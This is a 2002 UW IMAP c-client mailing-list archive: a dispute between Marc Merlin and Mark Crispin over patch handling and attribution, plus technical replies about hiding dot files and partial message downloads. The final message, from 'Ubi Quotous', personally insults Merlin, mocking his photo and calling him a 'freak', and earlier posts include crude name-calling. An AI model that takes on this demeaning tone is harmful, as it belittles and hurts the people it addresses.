required=7.0 tests=IN_REP_TO version=2.21 X-Spam-Level: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, Aug 20, 2002 at 01:31:46PM -0700, Mark Crispin wrote: > Sometimes, when people do not answer mail, it is because they are on > vacation. I just returned from a one-month email-free vacation in Alaska. Ok, that would be why you didn't answer that mail. Understand that after not getting an answer for two weeks, it's unfortunately become natural to decide that your mail was ignored. Note too that when you leave that long, it is customary to leave an autoresponder. That does not explain why you have yet to answer my mail asking nicely if you would care to add a pointer to my patches to a file in your distribution, or your web page (that was after you said you weren't interested in including them, which I'll repeat is ok, I never got offended by that) You brushed me off, and we both know that. > I am not going to refute Marc Merlin's message point-by-point, except to > point out that the IMAP and c-client mailing lists archives shows that his > patch was merely one of a long series of patches which have the notion of > restricting a user's file naming access above and beyond what the > filesystem provides. Uh? 1) 4 patches, split and documented separately, and two of them were almost one liners (actually, I think you also ended up re-implementing the one that lets you hide files that start with a dot). 2) Only one patch, the "anti FS wandering" patch, restricted access to the FS. That's what you re-implemented as restrictBox So no, it's not "a long series of patches which have the notion of of restricting a users' file naming access..." > The first such patch was written by me over 10 years > ago, and I have written several others for people who asked me nicely. That's fine. 1) it wasn't in the distribution, so not very useful 2) I didn't ask you to write a feature I needed if I could have coded it and contributed it back 3) you made no mention of that when I Emailed you. Your answer amounted to "thank you for your submission, I'm not interested in including or bundling these patches, and I'm not interesting in linking to them or mentioning them in my documentation" The last two people I talked to about submitting patches to you told me both "good luck". Coincidence? > I've also received any number of such patches from other people, including > Merlin. Great, then I guess that it only took a long time for any of them to go in, that can happen. Mentioning this when people end up writing independently the same thing because it's not in the distribution would have been helpful > The new restrictBox functionality is the culmination of this 10+ years > worth of study of what various sites do, and a distillation of it into > something that is reasonably simple. And that's fine. I did not claim ownership of that idea or said that you stole my code and put your name on it. For that matter, your implementation is probably better. However, the lack of response and info when you are asked about this sure didn't lead anyone to believe that several people had written the same patch and that you were hoping to include the feature at some point (it was sent to the list too, and no one else seemed to know because no one answered to say the feature was on its way or that they had written something similar) > I spent a considerable amount of time hand-holding Merlin through matters > that he could have found out for himself if he had read the documentation > and various books available. If this is the way that he chooses to repay > my efforts, we are both better off with him using a different product. Uh? You are confused. I Emailed you once a personal question, maybe 2-3 years ago, on whether imapd was able to jump from header to header in an mbox file. You nicely answered, that no, it was not the case. After that, I have Emailed the list a few times to discuss a patch implementation or announce one, I reported a problem with syslogging in imap-2001.BETA.SNAP-0105251616 which was fixed in 2001aRC2, and the only question I asked that was in the documentation (well, it wasn't when I read it, but the documentation had been updated since my last read) was building with SSLTYPE=nopwd So, yes, shoot me, I asked one question that was in the docs, but I sent more patches and answered questions than I wasted people's time with that one instance. So since you are calling this "hand holding", I see now that you are full of shit (forgive the expression, English isn't my native tongue, and I don't know of a more polite equivalent), it's clear that I don't need to deal with you further. Do reconsider your dealing with people who offer to contribute code to your project. I've contributed to more than 20, and you were the worst by an other of magnitude: even for a linux kernel patch, people answered me and told me why they did or did not like the patch and whether it had a chance to go in or not and why. Have a nice day. Marc -- "A mouse is a device used to point at the xterm you want to type in" - A.S.R. Microsoft is to operating systems & security .... .... what McDonalds is to gourmet cooking Home page: http://marc.merlins.org/ | Finger marc_f@merlins.org for PGP key From pinedev@shivax2.cac.washington.edu Wed Aug 21 18:32:38 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Aug 2002 18:32:38 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7M1Wb2P012713 for ; Wed, 21 Aug 2002 18:32:37 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Aug 21 18:32:37 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7M1WYEN026715 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 21 Aug 2002 18:32:35 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7M1WEqt025878; Wed, 21 Aug 2002 18:32:14 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7M1TieY118290 for ; Wed, 21 Aug 2002 18:29:44 -0700 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Wed Aug 21 18:29:43 2002 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7M1ThR9016184 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 21 Aug 2002 18:29:43 -0700 Received: from mailscan-out3.cac.washington.edu (mailscan-out3.cac.washington.edu [140.142.32.18]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7M1Thej031750 for ; Wed, 21 Aug 2002 18:29:43 -0700 Received: FROM smtp.washington.edu BY mailscan-out3.cac.washington.edu ; Wed Aug 21 18:29:42 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7M1TgCR011459 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 21 Aug 2002 18:29:42 -0700 Message-Id: Date: Wed, 21 Aug 2002 18:29:42 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Marc MERLIN Cc: c-client@u.washington.edu Subject: Re: I'm done with UWIMAP, Mark doesn't follow the spirit of open source In-Reply-To: <20020822005526.GO16531@merlins.org> References: <20020817210134.GD23760@merlins.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 21 Aug 2002, Marc MERLIN wrote: > Note too that when you leave that long, it is customary to leave an > autoresponder. Not everybody cares to publish their vacation plans for everybody in the world (including potential burglars) to see. > That does not explain why you have yet to answer my mail asking nicely if > you would care to add a pointer to my patches to a file in your > distribution, or your web page (that was after you said you weren't > interested in including them, which I'll repeat is ok, I never got offended > by that) By policy, we do not advertise any third-party patches. We can not accept such liability. There are many third-party patches, and it is the responsibility of their authors If you feel "brushed-off", that is your problem. > So no, it's not "a long series of patches which have the notion of of > restricting a users' file naming access..." Yes it is. Your patch is merely one of perhaps dozens such patches by many people (myself included), with similar purpose, which have been posted on the lists or newsgroups, emailed to me as suggestions, or even written by me for someone. I even posted a "if you want to do something like this, here is the type of this you should do in your patch" message. I am sorry if you felt that you had an original idea that nobody had thought of before. You didn't. Nor were you the most recent person in the series. You were just one of many. > > The first such patch was written by me over 10 years > > ago, and I have written several others for people who asked me nicely. > 1) it wasn't in the distribution, so not very useful I did not want to support any of those patches, and I do not incorporate *any* patches which I do not want to support. The new code in imap-2002 is something that I decided can be supported. > 3) you made no mention of that when I Emailed you. Your answer amounted to > "thank you for your submission, I'm not interested in including or > bundling these patches, and I'm not interesting in linking to them or > mentioning them in my documentation" I did not incorporate your patch. I wrote new code. The fact that it does something similar is covered in the free-fork license: (5) the University of Washington may make modifications to the Distribution that are substantially similar to modified versions of the Distribution, and may make, use, sell, copy, distribute, publicly display, and perform such modifications, including making such modifications available under this or other licenses, without obligation or restriction; Even when I reject a patch, I keep notes about the type of functionality that people write patches to implement. I use these notes (or "suggestion box" if you prefer) to guide me when I implement new functionalities. As it so happens, I recently completed a security project in imap-2002, and thus all security-related suggestions were considered during that development cycle. > The last two people I talked to about submitting patches to you told me both > "good luck". Coincidence? I accept only a small number of non-bugfix related patches. Some people would call that "quality control." -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Aug 21 19:03:12 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Aug 2002 19:03:12 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7M23C2P013293 for ; Wed, 21 Aug 2002 19:03:12 -0700 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Wed Aug 21 19:03:10 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7M23907005447 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 21 Aug 2002 19:03:10 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7M22eeo090204; Wed, 21 Aug 2002 19:02:41 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7M208eY020988 for ; Wed, 21 Aug 2002 19:00:08 -0700 Received: FROM mxu4.u.washington.edu BY mailscan3.cac.washington.edu ; Wed Aug 21 19:00:07 2002 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7M207s9024930 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 21 Aug 2002 19:00:07 -0700 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.17]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7M207ej001870 for ; Wed, 21 Aug 2002 19:00:07 -0700 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Wed Aug 21 19:00:06 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7M206CR011873 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 21 Aug 2002 19:00:06 -0700 Message-Id: Date: Wed, 21 Aug 2002 19:00:06 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Alexy Khrabrov Cc: c-client@u.washington.edu Subject: Re: hiding files starting with a dot, or matching a regexp? In-Reply-To: <20020822013356.GA15879@angle.setup.org> References: <20020817210134.GD23760@merlins.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 21 Aug 2002, Alexy Khrabrov wrote: > Actually, I'd like to see what kind of control I can have > over the list of mailboxes presented to the client. Is > this patch hiding the files starting with a dot implemented? This is controlled by the hideDotFiles variable in env_unix.c I do not recommend doing this, because some clients and/or users may actually want to see the dot files. For example, Pine wants to see the dot files, and has its own feature to control hiding. Years ago, my co-workers on the Pine team got very angry with me when an earlier version hid dot files from Pine. > Or, better still, showing/hiding only mailboxes whose names > match a regexp? That is something you would have to write yourself. The routine that you would need to modify is dummy_list_work() in dummy.c, perhaps by adding code to the "if" instruction that checks for HIDEDOTFILES and MXINDEXNAME. > The problem is, some mailers, notoriously KDE's Kmail, create > a ..index file for each file in your Mail directory. > Then it all shows up on top of a sorted list of folders in any > typical imap client. Unfortunately, this is one of a wide variety of such things which people may want (or *not* want) hidden... :-) > I also read some imap servers have ~/.mailboxlist, but apparently > this is not the case with UW imapd. Actually, the ~/.mailboxlist file is an artifact of UW imapd. It holds the IMAP subscription list of non-newsgroup mailboxes (of course, subscribed newsgroups are in .newsrc). If you don't use a client such as Outlook or Netscape that unilaterally subscribes all names, you probably don't have one. > Can I use namespaces to control this? What is the "right" way? > Or it should be done on the client side (e.g. hacking PHP clients)? The answer to your question is "it all depends". If you do something server-side, then it applies to all users whether or not they want it. There's no way for the user to control it. If you do something client-side, then it only applies to the users of that client even if all your users want it. The user is forced to control it. As indicated above with the example of Pine, even the choice to hide dot files can be controversial. Add to this such details as artifacts of particular clients (e.g. your Kmail example). Fortunately, as a sysadmin, you have considerably more leeway in deciding things than I do. You only have to worry about users strangling you. I have to worry about users *AND* sysadmins strangling me, not to mention their often conflicting demands. :-) Sysadmins who have non-shell access IMAP server systems also have more leeway than sysadmins of shell access systems. You can even decide to rewrite env_unix.c's mailboxfile() routine completely to make mailbox names be completely different than files. As distributed, mailboxfile() basically converts a home-directory relative path name to an absolute path name, with a few bells and whistles. You could do something quite different. If you do this, though, be sure to change dummy_list_work() in dummy.c to return names that match what mailboxfile() expects. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Aug 21 19:05:11 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Aug 2002 19:05:11 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7M25B2P013339 for ; Wed, 21 Aug 2002 19:05:11 -0700 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Wed Aug 21 19:05:10 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7M24xEN027296 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 21 Aug 2002 19:04:59 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7M24dqt029572; Wed, 21 Aug 2002 19:04:39 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7M20leY020742 for ; Wed, 21 Aug 2002 19:00:47 -0700 Received: FROM mxu2.u.washington.edu BY mailscan3.cac.washington.edu ; Wed Aug 21 19:00:47 2002 -0700 Received: from mail2.merlins.org (moremagic.merlins.org [204.80.101.251]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7M20kJY017817 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 21 Aug 2002 19:00:46 -0700 Received: from [12.146.157.2] (port=8554 helo=gandalf.merlins.org) by mail2.merlins.org with asmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 4.04 #168 (Debian)) id 17hhHA-0000L1-00; Wed, 21 Aug 2002 19:00:44 -0700 Received: from merlin by gandalf.merlins.org with local (Exim 3.31-VA-mm2 #1 (Debian)) id 17hhGo-0006pZ-00; Wed, 21 Aug 2002 19:00:22 -0700 Message-Id: <20020822020021.GQ16531@merlins.org> Date: Wed, 21 Aug 2002 19:00:21 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Marc MERLIN To: Alexy Khrabrov Cc: c-client@u.washington.edu Subject: Re: Hiding files starting with . or matching regexps? In-Reply-To: <200208220146.g7M1kj4M015984@angle.badbox.com> References: <200208220146.g7M1kj4M015984@angle.badbox.com> Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=us-ascii X-Sender: X-Sysadmin: BOFH X-URL: http://marc.merlins.org/ X-Operating-System: Proudly running Linux 2.4.14-lvm1.0.1rc4-ext3-0.9.15-servers11-up/Debian woody X-Spam-Status: No, hits=-3.7 required=7.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK,DOUBLE_CAPSWORD version=2.21 X-Spam-Level: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, Aug 21, 2002 at 09:46:45PM -0400, Alexy Khrabrov wrote: > Actually, I'd like to see what kind of control I can have > over the list of mailboxes presented to the client. Is > this patch hiding the files starting with a dot implemented? > Or, better still, showing/hiding only mailboxes whose names > match a regexp? I don't remember what the option was, although it looked like a c-client option from what I could tell if (((d->d_name[0] != '.') || (((int) mail_parameters (NIL,GET_HIDEDOTFILES,NIL)) ? NIL : (d->d_name[1] && (((d->d_name[1] != '.') || d->d_name[2]) && strcmp (d->d_name+1,MXINDEXNAME+2))))) && in src/osdep/unix/dummy.c I could not figure out whether it was possible to set GET_HIDEDOTFILES for uwimapd, so, I just disabled it altogether (well, actually the patch was written before GET_HIDEDOTFILES existed, so it was quicker to keep it in than to try to figure how how to set GET_HIDEDOTFILES) You can find my (obvious) patch here: http://marc.merlins.org/linux/uwimap/ http://marc.merlins.org/linux/uwimap/files/imap-2001aRC2.nodotfiles.patch (actually the patch was initially from Jauder Ho) The "right way" does lie with GET_HIDEDOTFILES if you can enable it somehow Note too that you're probably better off if you compile uwimap with -DHOMEMAILDIR="Mail" so that the "root" is ~/Mail and not ~/ Marc -- "A mouse is a device used to point at the xterm you want to type in" - A.S.R. Microsoft is to operating systems & security .... .... what McDonalds is to gourmet cooking Home page: http://marc.merlins.org/ | Finger marc_f@merlins.org for PGP key From pinedev@shivax2.cac.washington.edu Wed Aug 21 19:18:11 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Aug 2002 19:18:11 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7M2IB2P013562 for ; Wed, 21 Aug 2002 19:18:11 -0700 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Wed Aug 21 19:18:10 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7M2I9EN027592 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 21 Aug 2002 19:18:10 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7M2Hnqt028044; Wed, 21 Aug 2002 19:17:50 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7M2FfeY054124 for ; Wed, 21 Aug 2002 19:15:41 -0700 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Wed Aug 21 19:15:41 2002 -0700 Received: from mail2.merlins.org (moremagic.merlins.org [204.80.101.251]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7M2FeJY020345 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 21 Aug 2002 19:15:41 -0700 Received: from [12.146.157.2] (port=11260 helo=gandalf.merlins.org) by mail2.merlins.org with asmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 4.04 #168 (Debian)) id 17hhVZ-0006Kq-00; Wed, 21 Aug 2002 19:15:37 -0700 Received: from merlin by gandalf.merlins.org with local (Exim 3.31-VA-mm2 #1 (Debian)) id 17hhVE-00077M-00; Wed, 21 Aug 2002 19:15:16 -0700 Message-Id: <20020822021516.GR16531@merlins.org> Date: Wed, 21 Aug 2002 19:15:16 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Marc MERLIN To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: I'm done with UWIMAP, Mark doesn't follow the spirit of open source In-Reply-To: References: <20020817210134.GD23760@merlins.org> <20020822005526.GO16531@merlins.org> Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=us-ascii X-Sender: X-Sysadmin: BOFH X-URL: http://marc.merlins.org/ X-Operating-System: Proudly running Linux 2.4.14-lvm1.0.1rc4-ext3-0.9.15-servers11-up/Debian woody X-Spam-Status: No, hits=-4.4 required=7.0 tests=IN_REP_TO version=2.21 X-Spam-Level: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, Aug 21, 2002 at 06:29:42PM -0700, Mark Crispin wrote: > I am sorry if you felt that you had an original idea that nobody had > thought of before. You didn't. You are correct. I thought I did, I didn't, and like the other problems, it was mostly due to having little or no feedback after sending the said patches. There was a 5 line description of what the patch did. It was trivial to reply that you were considering the idea and/or had gotten similar patches without even having to spend the time to read the patch. My misunderstanding were due to lack of information which in some cases led to pretty obvious conclusions, whether they were right or not. > I did not incorporate your patch. I wrote new code. The fact that it > does something similar is covered in the free-fork license: Just for the record, I never claimed that you "stole" (for lack of a better word) my patch. It was clear that yours was written and implemented differently. What's still clear however, is that your response was clearly dismissive while you say that in reality you are considering the ideas and patches. If that's the case, please say so, people are not going to guess, especially from the replies (or lack thereof) you send. > Even when I reject a patch, I keep notes about the type of functionality > that people write patches to implement. I use these notes (or "suggestion > box" if you prefer) to guide me when I implement new functionalities. A little note to say this would have gone a long way to avoid problems. > I accept only a small number of non-bugfix related patches. > > Some people would call that "quality control." or possessiveness, but that's not relevant. It's your project, you are entitled to wanting to re-write every single feature that is sent to you. Again, saying so would have helped. Anyway, no need to waste more of your time or mine, matter closed. Marc -- "A mouse is a device used to point at the xterm you want to type in" - A.S.R. Microsoft is to operating systems & security .... .... what McDonalds is to gourmet cooking Home page: http://marc.merlins.org/ | Finger marc_f@merlins.org for PGP key From pinedev@shivax2.cac.washington.edu Wed Aug 21 21:47:03 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Aug 2002 21:47:03 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7M4l32P016216 for ; Wed, 21 Aug 2002 21:47:03 -0700 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Aug 21 21:47:02 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7M4ku07008480 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 21 Aug 2002 21:46:57 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7M4kZeo083832; Wed, 21 Aug 2002 21:46:35 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7M4i3eY049032 for ; Wed, 21 Aug 2002 21:44:03 -0700 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Wed Aug 21 21:44:01 2002 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7M4i1s9020208 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 21 Aug 2002 21:44:01 -0700 Received: from mailscan-out2.cac.washington.edu (mailscan-out2.cac.washington.edu [140.142.33.17]) by mxout4.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7M4i1S4020074 for ; Wed, 21 Aug 2002 21:44:01 -0700 Received: FROM smtp.washington.edu BY mailscan-out2.cac.washington.edu ; Wed Aug 21 21:43:59 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7M4hwTb025651 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 21 Aug 2002 21:43:58 -0700 Message-Id: Date: Wed, 21 Aug 2002 21:43:59 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Slava Pechenin Cc: c-client Subject: Re: mail_partial_body() how-to In-Reply-To: <001501c23300$21f758b0$9b03010a@admin1> References: <001501c23300$21f758b0$9b03010a@admin1> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 24 Jul 2002, Slava Pechenin wrote: > Studying the "internal.txt", the sources and the list archives does not > make me clear how to use the library. The task is to download large message > in several chunks. Is there an example of that? The only example that I can think of is in the Pine sources, in pine/mailpart.c. Unfortunately, internal.txt (which was last updated in 1996) predates the mail_partial_text() and mail_partial_body() functions. Look at the c-client/mail.c source code to see how they are called. You also need to set up a mailgets_t callback to actually receive the data. internal.txt discusses mailgets_t a little bit, but there's now an additional argument (a GETS_DATA* pointer) that gives additional information to the callback as to what the data is about. I hope that this is enough to get you started. From pinedev@shivax2.cac.washington.edu Thu Aug 22 07:17:40 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 22 Aug 2002 07:17:40 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7MEHe2P030634 for ; Thu, 22 Aug 2002 07:17:40 -0700 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Thu Aug 22 07:17:39 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7MEHXEN008878 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 22 Aug 2002 07:17:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7MEH1lZ031346; Thu, 22 Aug 2002 07:17:01 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7MECceY079590 for ; Thu, 22 Aug 2002 07:12:38 -0700 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Thu Aug 22 07:12:37 2002 -0700 Received: from xmxpita.excite.com (nat2.excitenetwork.com [63.236.75.4]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7MECbR8013775 for ; Thu, 22 Aug 2002 07:12:37 -0700 Received: by xmxpita.excite.com (Postfix, from userid 110) id C0B14BFCF; Thu, 22 Aug 2002 10:12:34 -0400 (EDT) Received: from [199.72.105.135] by xprdmailfe13.nwk.excite.com via HTTP; Thu, 22 Aug 2002 10:12:34 EST Message-Id: <20020822141234.C0B14BFCF@xmxpita.excite.com> Date: Thu, 22 Aug 2002 10:12:34 -0400 (EDT) Reply-To: ubiquot@excite.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Ubi Quotous" To: c-client@u.washington.edu Subject: Re: I'm done with UWIMAP, Mark doesn't follow the spirit of open source MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: ID = 3a3762e6704f13e763874361177b8cb4 X-Sender: ubiquot@excite.com X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Oh will you please shut up already with your childish ranting. Mark Crispin has consistently been a dedicated and involved developer in the IMAP arena, for which he has sacrificed substantial time and energy over the years. I think you will find that the majority of the users of the IMAP toolkit are quite pleased with how the project is managed, and even moreso how the product performs. You clearly have personality issues with rejection for which you should seek experienced professional help. For example, the fact that you took the time to right-justify all of your E-mails suggests that you went through several drafts in a word processor to properly vent your rage. Just look your mug shot which you posted on your web site http://marc.merlins.org/pix/146_car_s.jpg -- I'm not sure exactly what variety of freak you are, but what I do know is that somebody with an ego as big as yours must not be able to keep a job in a team environment. All of this said in my humble opinion. ;-[ Move on with your life--and we will all do the same. Ubi Marc MERLIN wrote: > Just for the record, I never claimed that you "stole" 